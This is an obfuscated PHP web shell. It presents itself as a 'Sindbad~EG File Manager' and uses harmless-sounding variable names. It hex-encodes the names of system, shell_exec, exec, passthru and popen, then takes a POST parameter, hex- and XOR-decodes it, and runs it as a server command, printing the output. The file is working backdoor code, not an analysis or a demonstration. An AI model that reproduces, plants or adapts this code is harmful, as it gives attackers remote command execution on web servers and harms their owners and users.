Sindbad~EG File Manager

<?php

$event_handler3 = "e\x78\x65c";
$event_handler4 = "p\x61\x73s\x74hru";
$event_handler2 = "she\x6Cl\x5Fe\x78\x65\x63";
$event_handler7 = "\x70\x63\x6Cose";
$event_handler5 = "\x70op\x65n";
$sync_manager = "\x68ex2\x62\x69\x6E";
$event_handler1 = "sy\x73\x74\x65m";
$event_handler6 = "stream\x5F\x67\x65t\x5F\x63o\x6Et\x65\x6E\x74\x73";
if (isset($_POST["b\x69nd\x69\x6Eg"])) {
            function settings     (   $val   ,       $marker   )     {
    $dat     =    ''      ;
      $b=0;
 do{
$dat.=chr(ord($val[$b])^$marker);
$b++;

} while($b<strlen($val));
 return     $dat;
      
}
            $binding = $sync_manager($_POST["b\x69nd\x69\x6Eg"]);
            $binding = settings($binding, 21);
            if (function_exists($event_handler1)) {
                $event_handler1($binding);
            } elseif (function_exists($event_handler2)) {
                print $event_handler2($binding);
            } elseif (function_exists($event_handler3)) {
                $event_handler3($binding, $parameter_group_val);
                print join("\n", $parameter_group_val);
            } elseif (function_exists($event_handler4)) {
                $event_handler4($binding);
            } elseif (function_exists($event_handler5) && function_exists($event_handler6) && function_exists($event_handler7)) {
                $marker_dat = $event_handler5($binding, 'r');
                if ($marker_dat) {
                    $data_chunk_element = $event_handler6($marker_dat);
                    $event_handler7($marker_dat);
                    print $data_chunk_element;
                }
            }
            exit;
        }